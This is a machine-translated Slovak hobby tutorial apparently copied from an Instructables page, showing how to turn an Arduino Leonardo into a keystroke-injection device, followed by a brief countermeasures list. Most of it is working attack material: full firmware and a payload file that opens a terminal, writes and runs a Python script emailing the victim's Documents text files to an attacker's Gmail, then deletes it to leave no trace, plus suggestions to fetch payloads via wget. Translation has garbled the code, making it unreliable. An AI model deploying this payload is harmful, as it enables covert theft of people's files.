Obsah:
- Krok 1: Materiály
- Krok 2: Zostavenie zariadenia
- Krok 3: Ako to funguje v detailoch
- Krok 4: Protiopatrenia
Video: Demo (HID) a prevencia klávesnice Arduino: 4 kroky (s obrázkami)
2024 Autor: John Day | [email protected]. Naposledy zmenené: 2024-01-30 12:00
V tomto projekte použijeme arduino leonardo na simuláciu možného útoku USB pomocou HID (zariadenie humain interface).
Tento tutoriál som nevytvoril preto, aby som pomohol hackerom, ale aby som vám ukázal niektoré skutočné nebezpečenstvá a spôsob, ako sa pred týmito nebezpečenstvami chrániť. Toto zariadenie nie je zariadením, ktoré je možné použiť na akejkoľvek platforme pre hackerov, je to skôr dôkaz konceptu v detaile.
Naučíme sa nasledujúce:
- ako používať arduino leonardo na emuláciu klávesnice
- ako čítať údaje z kariet SD
- ako vytvoriť python skript, ktorý skenuje súbory a odosiela ich e -mailom
- ako sa chrániť pred hackovacími zariadeniami USB
Krok 1: Materiály
Diely:
1. Arduino leonardo
2. čítačka kariet micro USB
3. niekoľko GB SD karta
4. tlačidlo ako toto (VCC, uzemnenie a signál)
5. prepojovacie káble samice a samice a samice
6. kábel micro USB na USB
Krok 2: Zostavenie zariadenia
Pred stavebnými pokynmi si prečítajme princíp práce:
Arduino leonardo sa môže správať ako zariadenie ľudského rozhrania (HID), a preto môže emulovať myš a klávesnicu. Túto funkciu použijeme na otvorenie terminálu (v Linuxe UBUNTU) a napísanie malého skriptu, ktorý otvorí priečinok /Dokumenty v domovskom priečinku používateľa a skopíruje tam súbory.txt a pošle ich niekomu e -mailom. Ak sa chcete dozvedieť viac podrobností, pokračujte ďalším krokom.
Pretože ide o demo zariadenie, veci sú skutočne jednoduché, nebudeme nič spájkovať.
Návod na stavbu
Predtým, ako začneme, skontrolujte priložené súbory, priložil som schematickú schému a všetky potrebné súbory
1. Zostavte komponenty:
* zapojte kábel micro USB do arduina
* kľúčový spínač zapojte do arduina (uzemňovací, vcc a výstupný modul do D8)
* pripojte čítačku kariet k arduinu (pomocou ICSP hlavičky). Arduino leonardo nemá hlavičku ICSP pripojenú k digitálnym pinom, takže budete musieť k hlavičke ICSP pripojiť čítačku kariet. Niektoré kresby ICSP nájdete tu: https://learn.sparkfun.com/tutorials/installing-an…. Pripojte pin SS k digitálnemu kolíku 10
2. získajte kód arduino, môžete klonovať moje úložisko arduino na github: https://github.com/danionescu0/arduino a prejsť na projekty/keyboard_exploit alebo ho získať zospodu:
#include „Keyboard.h“
#include "SPI.h" #include "SD.h" Reťazec filenameOnCard = "hack.txt"; Reťazec sleepCommandStartingPoint = "Spánok::"; Reťazec commandStartingPoint = "Command::"; int delayBetweenCommands = 10; tlačidlo const intPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Karta zlyhala alebo nie je k dispozícii!"); návrat; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Nahrané!"); oneskorenie (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Zadaný názov súboru nie je prítomný na SD karte, skontrolujte názov_súboruOnCard!"); } Reťazec; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (riadok); sendToKeyboard (riadok); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (riadok); návrat; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (riadok); Keyboard.println (riadok); stlačte Enter(); návrat; } Serial.println ("Príkaz:"); int charPosition = príkazStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Reťazcový príkaz = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (príkaz! = "") {Serial.print ("Príkaz nájdený:"); Serial.println (príkaz); Keyboard.press (getCommandCode (príkaz)); delay (delayBetweenCommands); }} Keyboard.releaseAll (); delay (delayBetweenCommands); } neplatné pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print („Spí pre:“); Serial.println (sleepAmount); oneskorenie (sleepAmount); } char getCommandCode (reťazcový text) {char textCharacter [2]; text.toCharArray (textové znaky, 2); char kód = textové znaky [0]; kód = (text == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kód; kód = (text == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kód; kód = (text == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kód; kód = (text == "KEY_UP_ARROW")? KEY_UP_ARROW: kód; kód = (text == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kód; kód = (text == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kód; kód = (text == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kód; kód = (text == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kód; kód = (text == "KEY_BACKSPACE")? KEY_BACKSPACE: kód; kód = (text == "KEY_TAB")? KEY_TAB: kód; kód = (text == "KEY_RETURN")? KEY_RETURN: kód; kód = (text == "KEY_ESC")? KEY_ESC: kód; kód = (text == "KEY_INSERT")? KEY_INSERT: kód; kód = (text == "KEY_DELETE")? KEY_DELETE: kód; kód = (text == "KEY_PAGE_UP")? KEY_PAGE_UP: kód; kód = (text == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kód; kód = (text == "KEY_HOME")? KEY_HOME: kód; kód = (text == "KEY_END")? KEY_END: kód; kód = (text == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kód; kód = (text == "KEY_F1")? KEY_F1: kód; kód = (text == "KEY_F2")? KEY_F2: kód; kód = (text == "KEY_F3")? KEY_F3: kód; kód = (text == "KEY_F4")? KEY_F4: kód; kód = (text == "KEY_F5")? KEY_F5: kód; kód = (text == "KEY_F6")? KEY_F6: kód; kód = (text == "KEY_F7")? KEY_F7: kód; kód = (text == "KEY_F8")? KEY_F8: kód; kód = (text == "KEY_F9")? KEY_F9: kód; kód = (text == "KEY_F10")? KEY_F10: kód; kód = (text == "KEY_F11")? KEY_F1: kód; kód = (text == "KEY_F12")? KEY_F2: kód;
návratový kód;
}
3. Nahrajte kód do arduina, uistite sa, že ste vybrali 9600 baud rate, sériový port a arduino leonardo
4. Naformátujte kartu SD pomocou systému FAT16 alebo FAT32
5. Ak ste naklonovali repo servera github zhora, skopírujte súbor hack.txt na kartu, ak nie, súbor je uvedený nižšie:
Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib import glob, os from os.path import expander from email. MIMEMultipart import MIMEMultipart from email. MIMEBase import MIMEBase from email. Import MIMEText MIMEText z e -mailu. Nástroj na import COMMASPACE, formát dátumu z importu e -mailu Kodéry
smtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password' to_address = 'adresa_prijímača' scan_documents_location = 'Dokumenty'
subject = body = 'Súbory z napadnutého počítača'
header = 'Komu: {0} nOd: {1} nPredmet: {2} n'.format (to_address, smtp_user, subject)
def sendMail (komu, predmetu, textu, súborom = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (text)) pre súbor v súboroch: časť = MIMEBase ('aplikácia', "octet-stream") part.set_payload (otvorený (súbor, "rb"). Read ()) Encoders.encode_base64 (časť) časť. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (súbor)) msg.attach (časť)
server = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()
sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))
Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4
6. Upravte nasledujúce riadky:
smtp_user = 'sender_email_addr'
smtp_pass = 'heslo_ odosielateľa' to_address = 'adresa_prijímača'
A nahraďte svojimi e -mailovými adresami
7. Vyberte kartu a vložte ju do čítačky arduino kariet
Krok 3: Ako to funguje v detailoch
Ako bude útok fungovať:
1. Keď je tlačidlo stlačené, leonardo načíta kartu SD pomocou čítačky kariet SD. Na karte bude prítomný špeciálny súbor obsahujúci kľúče a kombináciu klávesov. Názov súboru je "hack.txt".
Súbor môže obsahovať surový text a bude odoslaný na klávesnicu tak, ako je.
Tiež môže obsahovať špeciálne príkazy ako "Spánok::" a "Príkaz::".
Riadok ako:
Spánok:: 200 znamená spánok 200 ms
Riadok ako:
Príkaz:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t znamená stlačený ľavý ctrl, stlačený ľavý alt, t stlačený a všetky uvoľnené
Všetky špeciálne kľúče môžete skontrolovať tu:
2. Leonardo bude čítať riadok po riadku, interpretovať príkazy a emulovať klávesy na klávesnici. Súbor "hack.txt" obsahuje kombináciu kľúčov, ktoré robia nasledovné (pre UBUNTU linux):
a. otvára terminál (CTRL + ALT + T)
b. otvorí súbor pythonu na vytvorenie pomocou vi (napíše „vi hack.py“
c. napíše skript python, ktorý zhromažďuje všetky textové súbory v domácom priečinku dokumentov a odošle ich na zadanú adresu gmail
d. spustí súbor na pozadí („nohup python hack.py &“)
e. odstráni súbor (rm -rf hack.py)
f. zatvára terminál (ALT + F4)
Celé to behá niekoľko sekúnd a nezanecháva stopy.
Vylepšenia a riešenie problémov
* Môžete si všimnúť, že po otvorení terminálu píšem súbor python. lepší spôsob, ako to dosiahnuť, je niekde ho uložiť a stiahnuť pomocou príkazu „wget some_url“a potom ho premenovať na hack.py
* Tiež si môžeme stiahnuť alebo spustiť pripravený exploit pre cielený operačný systém
* Do modulu je možné pridať wifi a hacky je možné nahrať prostredníctvom WIFI
* môžete použiť arduino micro (ktorý je oveľa menší) a vložiť doň kód exploitu (aby bol menší)
Obmedzenia
1. Pretože simulované zariadenie (klávesnica a myš) nemá žiadnu spätnú väzbu, nevieme, čo sa stane po zadaní príkazu, čo znamená, že musíme použiť oneskorenia. Napríklad vydávam príkaz na otvorenie terminálu, ale neviem, kedy bude skutočne otvorený, takže musím zadať ľubovoľné oneskorenie, aby sa zabezpečilo, že sa nezadajú znaky zadané po.
2. Môžeme sa stretnúť s problémami s povolením, ako je napríklad nedostatok prístupu k portu USB alebo povolenie niečo nainštalovať
3. Rýchlosť písania nie je na leonarde taká veľká
4. Bude fungovať iba na cielenom operačnom systéme (v našom prípade UBUNTU linux)
V nasledujúcom kroku sa pokúsime nájsť spôsoby, ako využiť tieto obmedzenia, aby sme zabránili hacknutiu nášho počítača
Krok 4: Protiopatrenia
1. Vypnutie portov USB
-pre Windows si môžete pozrieť tento návod:
2. Zoznam povolených zariadení USB:
- pre Windows:
2. Ak nie ste mimo, uzamknite počítač
3. Neprihlasujte sa ako root (pri inštalácii čohokoľvek vyžadujte heslá)
4. Udržiavajte si svoje aktuálne informácie (automatické aktualizácie sú zapnuté)
Odporúča:
Ovládač klávesnice HID pre budúci tón Project Diva Aracade: 5 krokov
Ovládač klávesnice HID pre Project Diva Aracade Future Tone: V-USB je nízkorýchlostné riešenie knižnice USB pre mikrokontroléry AVR. Umožňuje nám vytvárať zariadenia HID (klávesnica, myš, gamepad atď.) Pomocou mikroovládačov AVR. Implementácia klávesnice HID je založená na HID 1.11. Podporuje maximálne 6 stlačení klávesov
Prevencia domáceho úniku plynu pomocou Arduina .: 3 kroky
Prevencia domáceho úniku plynu pomocou Arduina: V tomto návode som vytvoril prototyp, ktorý automaticky zatvorí plynový gombík fľaše LPG, keď dôjde k úniku plynu. LPG je bez zápachu a kvôli svojmu zápachu je pridaný prostriedok s názvom Ethyl Mercaptan, aby ho bolo možné všimnúť v prípade úniku
Prevencia kolízií- Beží na Pi: 6 krokov
Prevencia kolízií-Beží na Pi: Tento návod vám poskytne podrobný návod na konštrukciu systému prevencie kolízií. Na začiatok musíte získať nasledujúci zoznam materiálov: Raspberry PI 3 (s napájacími a ethernetovými akordmi), 1 rozširujúcu dosku GPIO a stužkový kábel
Rozhranie klávesnice s 8051 a zobrazovaním čísel klávesnice v 7 segmentoch: 4 kroky (s obrázkami)
Rozhranie klávesnice s 8051 a zobrazovaním čísel klávesnice v 7 segmentoch: V tomto tutoriáli vám poviem, ako môžeme prepojiť klávesnicu s 8051 a zobrazovať čísla klávesníc na 7 segmentovom displeji
Kink & Prevencia prestávky: 5 krokov
Kink & Break Preventer: Veľa jazdím a počúvam VEĽA kníh vo formáte mp3. Bol som unavený z toho, že som si každý mesiac kupoval nové slúchadlá len preto, že kábel na konci konektora sa zalomil a zlomil drôty vo vnútri. Prišiel som s týmto gadgetom, aby som obmedzil rozsah pohybu